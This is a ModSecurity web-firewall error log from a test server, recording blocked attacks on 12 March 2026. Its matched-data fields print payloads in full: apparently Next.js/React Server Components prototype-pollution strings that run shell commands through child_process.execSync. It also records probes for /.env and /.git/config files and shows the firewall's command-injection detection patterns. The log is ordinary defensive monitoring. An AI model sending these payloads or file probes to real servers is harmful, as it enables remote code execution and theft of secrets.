[Thu Mar 12 11:29:36.852592 2026] [:error] [pid 2646859] [client 85.11.167.19:44782] [client 85.11.167.19] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:s[\\\\\\\\'\\"]* ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "160"] [id "932105"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: {'timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('echo VULN_1773311376_8065',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abKVkB2XZbbm-jTr6iXbnAAAAAk"], referer: https://forst-trento.test.indacotrentino.com
[Thu Mar 12 11:29:36.852703 2026] [:error] [pid 2646859] [client 85.11.167.19:44782] [client 85.11.167.19] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:s[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*(?:t[\\"\\\\^]*e[\\"\\\\^]*m[\\"\\\\^]*(?:p[\\"\\\\^]*r[\\"\\\\^]*o[\\"\\\\^]*p[\\"\\\\^]*e ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "298"] [id "932115"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: {'timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('echo VULN_1773311376_8065',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [ [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abKVkB2XZbbm-jTr6iXbnAAAAAk"], referer: https://forst-trento.test.indacotrentino.com
[Thu Mar 12 11:29:36.852768 2026] [:error] [pid 2646859] [client 85.11.167.19:44782] [client 85.11.167.19] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}} found within ARGS:0: {_response:{_formdata:{get:$1:constructor:constructor} _prefix:var res=process.mainmodule.require(child_process).execsync(echo vuln_1773311376_8065 {timeout:30000}).tostring() throw object.assign(new error(next_redirect) {digest:`${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abKVkB2XZbbm-jTr6iXbnAAAAAk"], referer: https://forst-trento.test.indacotrentino.com
[Thu Mar 12 11:29:36.853518 2026] [:error] [pid 2646859] [client 85.11.167.19:44782] [client 85.11.167.19] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abKVkB2XZbbm-jTr6iXbnAAAAAk"], referer: https://forst-trento.test.indacotrentino.com
[Thu Mar 12 11:29:36.853648 2026] [:error] [pid 2646859] [client 85.11.167.19:44782] [client 85.11.167.19] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abKVkB2XZbbm-jTr6iXbnAAAAAk"], referer: https://forst-trento.test.indacotrentino.com
[Thu Mar 12 11:29:37.151907 2026] [:error] [pid 2646860] [client 85.11.167.19:44784] [client 85.11.167.19] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:s[\\\\\\\\'\\"]* ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "160"] [id "932105"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: {'timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('echo TEST_1773311376',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "app [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abKVkZub0a0ZcWdhx71IEQAAAAo"], referer: https://forst-trento.test.indacotrentino.com
[Thu Mar 12 11:29:37.152036 2026] [:error] [pid 2646860] [client 85.11.167.19:44784] [client 85.11.167.19] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:s[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*(?:t[\\"\\\\^]*e[\\"\\\\^]*m[\\"\\\\^]*(?:p[\\"\\\\^]*r[\\"\\\\^]*o[\\"\\\\^]*p[\\"\\\\^]*e ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "298"] [id "932115"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: {'timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('echo TEST_1773311376',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag " [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abKVkZub0a0ZcWdhx71IEQAAAAo"], referer: https://forst-trento.test.indacotrentino.com
[Thu Mar 12 11:29:37.152112 2026] [:error] [pid 2646860] [client 85.11.167.19:44784] [client 85.11.167.19] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}} found within ARGS:0: {_response:{_formdata:{get:$1:constructor:constructor} _prefix:var res=process.mainmodule.require(child_process).execsync(echo test_1773311376 {timeout:30000}).tostring() throw object.assign(new error(next_redirect) {digest:`${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abKVkZub0a0ZcWdhx71IEQAAAAo"], referer: https://forst-trento.test.indacotrentino.com
[Thu Mar 12 11:29:37.153176 2026] [:error] [pid 2646860] [client 85.11.167.19:44784] [client 85.11.167.19] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abKVkZub0a0ZcWdhx71IEQAAAAo"], referer: https://forst-trento.test.indacotrentino.com
[Thu Mar 12 11:29:37.153335 2026] [:error] [pid 2646860] [client 85.11.167.19:44784] [client 85.11.167.19] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abKVkZub0a0ZcWdhx71IEQAAAAo"], referer: https://forst-trento.test.indacotrentino.com
[Thu Mar 12 12:49:49.892814 2026] [:error] [pid 2646858] [client 43.207.206.38:59692] [client 43.207.206.38] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abKoXdFzmeMCarW82HNMEwAAAAg"]
[Thu Mar 12 12:49:49.893193 2026] [:error] [pid 2646858] [client 43.207.206.38:59692] [client 43.207.206.38] ModSecurity: Warning. Pattern match "(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "149"] [id "941130"] [msg "XSS Filter - Category 3: Attribute Vector"] [data "Matched Data: base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\x22: ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS"] [tag "OWASP_CRS/W [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abKoXdFzmeMCarW82HNMEwAAAAg"]
[Thu Mar 12 12:49:49.893763 2026] [:error] [pid 2646858] [client 43.207.206.38:59692] [client 43.207.206.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abKoXdFzmeMCarW82HNMEwAAAAg"]
[Thu Mar 12 12:49:49.893926 2026] [:error] [pid 2646858] [client 43.207.206.38:59692] [client 43.207.206.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abKoXdFzmeMCarW82HNMEwAAAAg"]
[Thu Mar 12 12:49:50.141951 2026] [:error] [pid 2646858] [client 43.207.206.38:59692] [client 43.207.206.38] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abKoXtFzmeMCarW82HNMFAAAAAg"]
[Thu Mar 12 12:49:50.142487 2026] [:error] [pid 2646858] [client 43.207.206.38:59692] [client 43.207.206.38] ModSecurity: Warning. Pattern match "(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "149"] [id "941130"] [msg "XSS Filter - Category 3: Attribute Vector"] [data "Matched Data: base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\x22: ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS"] [tag "OWASP_CRS/W [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abKoXtFzmeMCarW82HNMFAAAAAg"]
[Thu Mar 12 12:49:50.143547 2026] [:error] [pid 2646858] [client 43.207.206.38:59692] [client 43.207.206.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abKoXtFzmeMCarW82HNMFAAAAAg"]
[Thu Mar 12 12:49:50.143769 2026] [:error] [pid 2646858] [client 43.207.206.38:59692] [client 43.207.206.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abKoXtFzmeMCarW82HNMFAAAAAg"]
[Thu Mar 12 13:16:51.719719 2026] [:error] [pid 2643337] [client 2.57.122.173:58808] [client 2.57.122.173] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abKus7cAOmwjG4kpIu2S6gAAAAY"]
[Thu Mar 12 13:16:51.719928 2026] [:error] [pid 2643337] [client 2.57.122.173:58808] [client 2.57.122.173] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abKus7cAOmwjG4kpIu2S6gAAAAY"]
[Thu Mar 12 13:16:51.720058 2026] [:error] [pid 2643337] [client 2.57.122.173:58808] [client 2.57.122.173] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abKus7cAOmwjG4kpIu2S6gAAAAY"]
[Thu Mar 12 14:50:12.033898 2026] [:error] [pid 2643337] [client 34.70.13.227:21860] [client 34.70.13.227] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abLElLcAOmwjG4kpIu2S8AAAAAY"]
[Thu Mar 12 14:50:12.034180 2026] [:error] [pid 2643337] [client 34.70.13.227:21860] [client 34.70.13.227] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abLElLcAOmwjG4kpIu2S8AAAAAY"]
[Thu Mar 12 14:50:12.034333 2026] [:error] [pid 2643337] [client 34.70.13.227:21860] [client 34.70.13.227] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abLElLcAOmwjG4kpIu2S8AAAAAY"]
[Thu Mar 12 21:45:13.846565 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abMl2Rh46oOr_mPgZ6HLMAAAAAI"]
[Thu Mar 12 21:45:13.846774 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abMl2Rh46oOr_mPgZ6HLMAAAAAI"]
[Thu Mar 12 21:45:13.846912 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abMl2Rh46oOr_mPgZ6HLMAAAAAI"]
[Thu Mar 12 21:45:13.869021 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abMl2Rh46oOr_mPgZ6HLMQAAAAI"]
[Thu Mar 12 21:45:13.869216 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abMl2Rh46oOr_mPgZ6HLMQAAAAI"]
